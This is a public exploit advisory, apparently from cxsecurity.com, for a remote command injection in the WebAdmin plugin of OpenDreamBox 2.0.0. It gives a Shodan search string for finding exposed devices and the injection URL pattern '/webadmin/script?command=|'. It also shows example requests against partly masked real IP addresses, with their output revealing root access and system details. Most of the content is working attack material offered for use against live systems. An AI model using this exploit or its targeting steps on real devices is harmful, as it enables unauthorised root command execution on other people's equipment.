OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution

2017.07.06
Credit: Jonatas Fil
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: OpenDreamBox 2.0.0 - Plugin WebAdmin RCE # Shodan Dork: "DreamBox" 200 ok" # Date: 07/03/17 # Exploit Author: Jonatas Fil # Vendor Homepage: https://www.dreamboxupdate.com # Software Link: https://www.dreamboxupdate.com/opendreambox/2.0.0 # Version: 2.0.0 Vulnerabilty: Remote Command Execution via Command injection in Plugin WebAdmin. Tools: https://github.com/ninj4c0d3r/ShodanCli ---------------------------------------------------------------------------------------------------- p0c: - First, Search in Shodan: "DreamBox" 200 ok. (https://github.com/ninj4c0d3r/ShodanCli - My tool for search (need api) or https://www.shodan.io) - After, open the target and go to "Extra", wait a moment... - In plugins, if WebAdmin Plugin is installed [VULNERABLE]: Exploit : http://target.com:100000/webadmin/script?command=|YOUR_COMMAND ----------------------------------------------------------------------------------------------------- Examples: http://212.13.x.129:8081/webadmin/script?command=|uname -a : Linux dm7020hd 3.2-dm7020hd #1 SMP Sun Jun 21 15:26:04 CEST 2015 mips GNU/Linux http://80.x.24.154:8880/webadmin/script?command=|id : uid=0(root) gid=0(root) http://62.224.234.x:8081/webadmin/script?command=|pwd : /home/root http://x.19.12.146:10000/webadmin/script?command=|cat /etc/issue : opendreambox 2.0.0 \n \l


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top